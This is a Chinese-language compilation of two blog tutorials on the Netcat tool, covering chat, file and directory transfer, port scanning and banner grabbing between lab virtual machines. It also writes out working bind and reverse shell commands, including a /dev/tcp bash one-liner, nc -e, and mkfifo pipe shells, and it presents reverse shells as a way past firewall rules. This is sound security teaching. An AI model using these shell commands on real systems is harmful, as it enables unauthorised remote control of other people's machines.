注:本文为 "网络工具 Netcat" 相关合辑。
图片清晰度受引文原图所限。
略作重排,未整理去重。
如有内容异常,请看原文。
【网安工具篇】------多用途网络工具 Netcat
Daylight 庆尘 原创 已于 2022-12-30 22:15:35 修改
本文对网络安全工具 Netcat 展开详细介绍,涵盖工具下载、常用参数、连接通讯、文件传输及 Shell 传输等功能模块,并配套对应的实操案例。
一 Netcat 简介
Netcat 被称作网络工具中的瑞士军刀 ,该工具程序体积精简,同时具备丰富的功能,日常使用中常以nc作为其简称。Netcat 可实现两台设备间的双向数据交互,工作模式主要分为侦听模式与传输模式,其可实现的功能如下:
- Telnet 协议交互功能
- 网络服务 Banner 信息获取
- 文本信息的网络传输
- 文件与目录的跨设备传输
- 文件的加密传输,默认传输模式为非加密
- 远程系统控制
- 网络流量的全量加密
- 流媒体服务的搭建
- 远程硬盘的克隆操作
本文聚焦 Netcat 在网络安全领域的应用场景,仅对上述功能中的部分内容展开讲解。
二 工具下载
1 Windows 系统
Windows 系统适配版本:
- netcat 1.11 for Win32/Win64
下载地址:https://eternallybored.org/misc/netcat/
该版本为绿色解压版,解压安装包后可直接运行,无需执行安装流程。

2 Linux 系统
在 Linux 系统终端中输入下述命令即可完成安装,Kali Linux 系统中已预装该工具,无需手动执行安装操作。
bash
yum install nc
三 常用参数
在系统终端中输入nc -h命令,即可调出 Netcat 的使用帮助界面,查看各常用参数的功能定义(本文以 Kali Linux 系统为例进行演示,其他系统执行相同操作即可),帮助界面如下。

为便于理解与使用,下文将以表格形式呈现 Netcat 常用参数的中文释义。
| 参数 | 作用 |
|---|---|
| -l | 将 Netcat 设置为监听状态,等待客户端的连接请求 |
| -L | 将 Netcat 设置为持续监听状态,客户端断开连接后,服务端自动恢复至监听等待状态 |
| -p | 指定本地监听的端口号 |
| -v | 显示端口的连接与交互信息,使用**-vv**参数可显示更详细的端口通信信息 |
| -e | 指定连接建立后执行的程序,例如cmd.exe //bin/sh |
| -n | 仅识别 IP 地址作为目标,不对目标地址执行 DNS 域名解析操作 |
| -u | 使用 UDP 协议进行网络通信(Netcat 默认使用 TCP 协议建立连接) |
| -z | 零 I/O 模式,专用于端口扫描场景,向目标 IP 发送无载荷的探测数据包,提升扫描效率 |
| -w1 | 将网络连接的超时时间设置为 1 秒 |
| -d | 使 Netcat 脱离当前命令窗口,在后台执行运行,常用于远程控制后门的搭建 |
| -G | 设置网关地址,格式为**-G 网关 IP**,适用于内网突破的网络场景 |
| -g | 设置路由跳数,格式为**-g 数字** |
| -o :file | 将传输的数据以 16 进制格式写入指定文件,格式为**-o 文件名** |
| -s:addr | 指定 Netcat 的源 IP 地址,格式为**-s 源 IP**,用于隐藏本地真实 IP 地址 |
| -t | 模拟 Telnet 协议的请求数据包格式,恢复 Telnet 协议的交互特性 |
| -r | 随机指定 Netcat 使用的本地端口号 |
上述为 Netcat 在日常使用中高频出现的参数,不同参数可通过组合方式实现特定的网络功能,下文将对参数组合后的常用功能及对应的命令进行讲解。
四 常用功能
实验环境:
实验采用一台 Kali Linux 虚拟机(IP 地址为 192.168.149.129)与一台 CentOS 虚拟机(IP 地址为 192.168.149.133),两台虚拟机处于同一网络网段,可通过 ping 命令实现双向连通,且均已安装 Netcat 工具。
1 连接通讯
服务端监听端口命令:
bash
nc -lnvp 端口号
客户端连接端口命令:
bash
nc 服务端 IP 端口号
演示操作:
[1] 服务端开启端口监听
在 Kali Linux 虚拟机终端中执行命令,监听 6666 端口,命令如下:
bash
nc -lnvp 6666

[2] 客户端发起端口连接
在 CentOS 虚拟机终端中执行命令,连接服务端监听的 6666 端口,命令如下:
bash
nc 192.168.149.129 6666

[3] 实现双向连接通讯
完成上述两步操作后,CentOS 虚拟机与 Kali Linux 虚拟机之间建立实时的网络通讯连接,在 Kali Linux 终端中输入的文本内容可实时传输至 CentOS 终端,例如在 Kali Linux 终端中输入nihao centos,效果如下:

CentOS 虚拟机的连接终端中将实时接收该文本信息,效果如下:

同理,在 CentOS 终端中输入的文本数据也可实时传输至 Kali Linux 终端,该方式实现了两台设备之间的双向实时通讯连接,具备即时文本交互的特性。
2 文件传输
接收端开启文件接收命令:
bash
nc -lvp 端口号 > 本地文件保存路径/文件名
传输端发起文件传输命令:
bash
nc 接收端 IP 端口号 < 待传输文件路径/文件名
演示操作:
在 CentOS 虚拟机中创建1.txt文件,通过 Netcat 工具将该文件传输至 Kali Linux 虚拟机,具体步骤如下。
[1] 接收端开启文件接收
本次实验选择 6666 端口作为文件传输的网络端口,在 Kali Linux 终端中执行接收命令:
bash
nc -lvp 6666 >2.txt
// 该命令将接收到的文件数据保存至当前终端工作路径下的 2.txt 文件中

[2] 传输端发起文件传输
在 CentOS 终端中执行传输命令,将当前路径下的 1.txt 文件传输至 Kali Linux 虚拟机,命令如下:
bash
nc 192.168.149.129 6666 <1.txt

[3] 验证文件传输结果
执行上述操作后,Kali Linux 虚拟机可成功接收 CentOS 虚拟机传输的文件,可通过终端查看文件是否存在及文件内容是否完整,效果如下:

3 传输 Shell
Shell 传输分为正向 Shell 与反向 Shell 两种方式,两种方式的核心区别在于网络连接中客户端与服务端的角色定义及连接发起方向,下文将对两种方式分别展开讲解。
[1] 正向 Shell
正向 Shell 的实现逻辑为客户端主动发起连接,访问服务端监听的端口,进而获取服务端的 Shell 操作权限。本次实验以 Kali Linux 虚拟机作为客户端,尝试获取 CentOS 虚拟机的 Shell 操作权限,具体命令如下:
服务端开启 Shell 监听命令:
bash
nc -lvp 端口号 -e /bin/sh
// 正向 Shell 的实现需穿透服务端的防火墙,执行命令前需关闭服务端的防火墙防护策略
客户端连接并获取 Shell 命令:
bash
nc 服务端 IP 端口号
演示操作:
- 在 CentOS 虚拟机中关闭防火墙,并执行命令开启 Shell 端口监听;
- 在 Kali Linux 虚拟机中执行连接命令,访问 CentOS 虚拟机监听的端口。

Kali Linux 虚拟机成功连接后,即可获取 CentOS 虚拟机的 Shell 操作权限,效果如下:

Kali Linux 虚拟机的连接终端将作为 CentOS 虚拟机的远程 Shell 操作界面,可直接执行各类 Shell 命令,效果如下:

[2] 反向 Shell
反向 Shell 的实现逻辑为服务端主动发起连接,将自身的 Shell 权限反弹至客户端监听的端口,客户端通过监听端口接收并获取服务端的 Shell 操作权限,具体命令如下:
服务端执行 Shell 反弹命令:
bash
# Bash 命令反弹方式
bash -i >& /dev/tcp/客户端 IP/端口号 0>&1
# Netcat 命令反弹方式
nc -e /bin/bash 客户端 IP/端口号
// Shell 反弹的实现方式包含多种,本文仅列举上述两种常用方式
客户端开启端口监听命令:
bash
nc -lvp 端口号
演示操作:
- 在 Kali Linux 虚拟机(客户端)中执行命令,开启端口监听;

- 在 CentOS 虚拟机(服务端)中执行 Shell 反弹命令,将 Shell 权限反弹至客户端监听端口;

执行上述操作后,CentOS 虚拟机的 Shell 权限将成功反弹至 Kali Linux 虚拟机,Kali Linux 虚拟机可通过监听终端实现对 CentOS 虚拟机的远程控制,效果如下:

五 拓展用法
1 无-e 参数的正向 Shell 实现
在使用 Netcat 实现正向 Shell 时,除需考虑服务端防火墙的防护策略外,还需确认服务端的 Netcat 版本是否支持**-e**参数,常规的正向 Shell 实现命令为:
bash
nc -e /bin/bash 客户端 IP 端口号
若服务端的 Netcat 版本不支持**-e参数,可通过Netcat 端口串联**的方式实现正向 Shell 的建立,具体命令如下:
bash
nc 客户端 IP 端口 1 | /bin/bash | nc 客户端 IP 端口 2
该命令在服务端执行,其实现逻辑可分为两个部分:
- 命令前半部分nc 客户端 IP 端口 1 将服务端的 Shell 输入流反弹至客户端监听的端口 1 ,客户端开启对端口 1的监听后可建立连接,但该连接为非交互式 Shell,无法直接查看命令执行结果;
- 命令后半部分**/bin/bash | nc 客户端 IP 端口 2将服务端 Shell 的命令执行结果,作为输出流发送至客户端监听的 端口 2**,客户端开启对端口 2的监听后,可接收命令执行的结果。
通过该方式,攻击者可在客户端的端口 1 连接中输入 Shell 命令,在端口 2连接中查看命令的执行结果,实现无**-e**参数下的正向 Shell 交互。
2 内容总结
Netcat 的功能场景远不止上文所述,在网络安全的日常应用中,该工具被高频用于监听并接收反弹的 Shell 权限。后续将单独推出 Shell 反弹的各类实现方式总结,可进一步了解相关内容,感谢阅读。
Netcat 使用教程
相忘于江湖吧 原创于 2017-08-11 16:38:13 发布
简介
Netcat 是一款多用途的网络工具,可通过 TCP 协议与 UDP 协议在网络中实现数据的读写操作。该工具可与其他系统工具结合,通过重定向的方式实现数据的处理与传输,可在脚本中灵活调用以实现各类网络功能。
不同版本的 Netcat 特性
Netcat 存在多个发行版本,不同版本的使用方法与参数定义存在差异,下文将对实验环境中使用的几个典型版本的特性进行说明。
case 1
Kali Linux 系统预装的 Netcat 工具,版本为v1.10-41+b1,该版本支持**-e**参数的使用。
)
可通过系统命令man nc查看该版本的详细使用手册。
)
case 2
CentOS 6.4 系统预装的 Netcat 工具,为BSD General版本,该版本不支持**-e**参数的使用。
)
可通过系统命令man nc查看该版本的详细使用手册。
)
case 3
通过源码安装的GNU netcat版本,源码下载地址为 http://netcat.sourceforge.net/,该版本支持\*\*-e\*\*参数的使用。
)
版本总结
现有资料中常将 Netcat 分为netcat-openbsd 版本与netcat-traditional版本,但暂无明确的官方源头与下载地址对这两个版本进行界定。各类版本的 Netcat 在功能与参数上虽存在差异,但整体使用逻辑基本一致,使用前需通过系统命令查看本地安装版本的参数定义。
- nc -h:查看版本的简易参数说明
- man nc:查看版本的详细使用手册
Netcat 的典型应用场景
下文将对 Netcat 的各类典型应用场景及对应的实现命令展开讲解。
端口扫描
基本用法
bash
nc -z -v -n 127.0.0.1 21-25
该命令可实现对目标 IP 的指定端口段进行扫描,相关参数的作用如下:
- -u:将扫描协议切换为 UDP 协议,默认扫描协议为 TCP 协议;
- -z:零 I/O 模式,连接成功后立即断开,不进行数据交互,仅用于端口状态探测;
- -v:冗余输出模式,显示详细的端口扫描信息;
- -n:关闭 DNS 域名解析,仅识别 IP 地址,目标为 IP 地址时建议使用,目标为域名时不使用。
该命令将扫描127.0.0.1 的21-25端口,并打印其中处于开放状态的端口。
Banner 信息获取
Banner 信息是网络服务在建立连接时,向客户端发送的文本标识信息,包含服务类型、版本号等内容,可用于网络服务的识别与漏洞探测,并非所有网络服务都会发送 Banner 信息。
在探测到开放端口后,可通过 Netcat 建立连接,获取对应端口的 Banner 信息,命令如下:
bash
nc -v 127.0.0.1 22
该命令将连接127.0.0.1 的22端口,并打印该端口对应的网络服务的 Banner 信息。
)
网络聊天服务
Netcat 可实现简单的网络聊天服务,适用于无外部通讯工具的网络环境,通过搭建本地聊天服务器,实现同一网络内两台设备的文本交互,具体实现命令如下。
服务端配置
bash
nc -l -p 20000
# 部分 Netcat 版本无需使用-p 参数,命令为 nc -l 20000,具体参考版本的参数说明
客户端配置
bash
nc -n 192.168.71.131 20000
)
)
服务端通过 Netcat 在20000端口启动 TCP 协议的聊天服务器,服务端与客户端的标准输入与输出均定向至该端口,双方在终端中输入的文本内容可通过该端口实现实时交互。
文件传输
Netcat 可实现简单的跨设备文件传输,无需安装配置专用的文件传输工具,适用于临时的小文件传输场景。实验环境设定为将文件a.txt从设备 A 传输至设备 B,设备 A 与设备 B 均可作为服务端或客户端,下文将对两种实现方式分别讲解。
实验环境:
- 设备 A IP 地址:192.168.71.131
- 设备 B IP 地址:192.168.71.130
Case 1 设备 A 为服务端,设备 B 为客户端
服务端(设备 A)将 Netcat 的输入流重定向至待传输文件a.txt ,当客户端建立连接后,自动将文件内容发送至客户端;客户端(设备 B)将 Netcat 的输出流重定向至本地文件a.txt,接收服务端发送的文件内容并保存。
)
)
Case 2 设备 A 为客户端,设备 B 为服务端
服务端(设备 B)开启端口监听,并将输出流重定向至本地文件a.txt,命令如下:
bash
nc -l -p 20000 > a.txt
客户端(设备 A)发起连接,并将输入流重定向至待传输文件a.txt,命令如下:
bash
nc -n 192.168.71.130 20000 < a.txt
传输总结
Netcat 适用于简单的小文件跨设备传输,不建议用于大文件的传输场景。该工具的文件传输过程无完成提示,无法直接通过终端判断文件是否传输完成,需通过本地文件的大小与内容进行验证。
目录传输
Netcat 可与 tar 命令结合,实现跨设备的目录传输,实现逻辑与文件传输类似,通过管道将 tar 命令的打包/解包结果与 Netcat 的读写流进行重定向。实验环境设定为将目录test从设备 A 传输至设备 B,具体实现方式如下。
实验环境:
- 设备 A IP 地址:192.168.71.131
- 设备 B IP 地址:192.168.71.130
Case 1 设备 A 为服务端,设备 B 为客户端
服务端(设备 A)通过 tar 命令打包目录,将打包结果通过管道重定向至 Netcat 的输出流,命令如下:
bash
tar -cvf - ./test/ | nc -l -p 20000
// 命令中的**-**代表将打包结果输出至标准输出流
)
客户端(设备 B)通过 Netcat 接收服务端发送的打包数据,通过管道重定向至 tar 命令进行解包,命令如下:
bash
nc -n 192.168.71.131 20000 | tar -xvf -
// 命令中的**-**代表从标准输入流读取打包数据并解包
)
远程 Shell
除 Telnet 与 SSH 外,Netcat 可作为第三种实现远程 Shell 的方式,通过网络连接实现对远程设备的 Shell 操作。实验环境设定为在设备 B 上实现对设备 A 的远程 Shell 操作,即设备 A 为 Netcat 服务端,设备 B 为 Netcat 客户端,具体实现分为两种情况。
实验环境:
- 设备 A IP 地址:192.168.71.131
- 设备 B IP 地址:192.168.71.130
Case 1 服务端 Netcat 版本支持-e 参数
服务端(设备 A)开启端口监听,并通过**-e**参数指定连接建立后执行的 Shell 程序,命令如下:
bash
nc -l -p 20000 -e /bin/bash
)
客户端(设备 B)发起网络连接,即可获取服务端的 Shell 操作权限,命令如下:
bash
nc -n 192.168.71.131 20000
)
客户端可在连接终端中直接执行 Shell 命令,实现对服务端的远程控制,例如通过ls命令查看服务端的目录结构。
Case 2 服务端 Netcat 版本不支持-e 参数
若服务端的 Netcat 版本不支持**-e**参数,可通过创建 FIFO 管道文件,结合重定向的方式实现远程 Shell,具体命令如下。
服务端(设备 A)执行命令:
bash
mkfifo ./fifo
cat ./fifo | /bin/bash 2>&1 | nc -l -p 20000 > ./fifo
)
客户端(设备 B)执行连接命令,即可获取远程 Shell 权限:
bash
nc -n 192.168.71.131 20000
)
实现逻辑解释
- 通过mkfifo ./fifo 创建命名管道文件fifo,命名管道的特性为读取操作将等待写入操作完成,避免普通文件读取时的空内容问题;
- cat ./fifo | /bin/bash 2>&1将管道文件的内容作为 Shell 的输入,同时将 Shell 的标准输出与标准错误输出合并重定向;
- | nc -l -p 20000 > ./fifo将 Shell 的输出结果通过 Netcat 发送至客户端,并将客户端发送的输入数据写入管道文件,形成双向的数据交互循环。
整体数据流转流程:
- 客户端发送的命令通过网络写入服务端的管道文件;
- cat 命令读取管道文件中的命令,传递至 Shell 程序执行;
- Shell 程序的执行结果通过 Netcat 发送至客户端;
- 客户端的新命令持续写入管道文件,实现交互式的远程 Shell。
拓展:交互式 Shell 优化
在服务端的命令中,为**/bin/bash添加-i**参数,可实现交互式 Shell 的优化,客户端连接后将显示服务端的主机名与用户名,命令如下:
bash
cat ./fifo | /bin/bash -i 2>&1 | nc -l -p 20000 > ./fifo
)
客户端连接后的效果如下:
)
反向 Shell
反向 Shell 常用于绕过防火墙的入站规则限制,当防火墙屏蔽了外部对内部的连接请求,仅允许内部向外部发起连接时,可通过反向 Shell 实现远程控制。实验环境设定为在设备 A 上实现对设备 B 的远程 Shell 操作,具体实现方式如下。
实验环境:
- 设备 A IP 地址:192.168.71.131
- 设备 B IP 地址:192.168.71.130
实现逻辑
正向 Shell 为客户端(设备 A)向服务端(设备 B)发起连接,而反向 Shell 则为服务端(设备 B)向客户端(设备 A)发起连接,设备 A 作为 Netcat 服务端开启端口监听,设备 B 作为 Netcat 客户端主动将 Shell 权限反弹至设备 A 的监听端口。
具体操作
- 设备 A(客户端)开启端口监听,命令如下:
bash
nc -l -p 20000
)
- 设备 B(服务端)执行 Shell 反弹命令,将 Shell 权限发送至设备 A 的监听端口,命令如下:
bash
nc -n 192.168.71.131 20000 -e /bin/bash
)
- 设备 A 的监听终端将接收设备 B 的 Shell 权限,可直接在终端中执行 Shell 命令,实现对设备 B 的远程控制。
结束语
本文对 Netcat 的主要应用场景进行了详细讲解,该工具还包含多种小众的使用方式,因实际应用频率较低,未在本文中展开介绍。
via:
- 【网安神器篇】------瑞士军刀Netcat-CSDN博客
https://daydust.blog.csdn.net/article/details/127681824 - Netcat网络工具-CSDN博客
https://blog.csdn.net/chenj_freedom/article/details/77099909 - 快速下载、安装 Netcat 到 Windows 系统的实用教程_netcat下载-CSDN博客
https://blog.csdn.net/weixin_43263566/article/details/128990268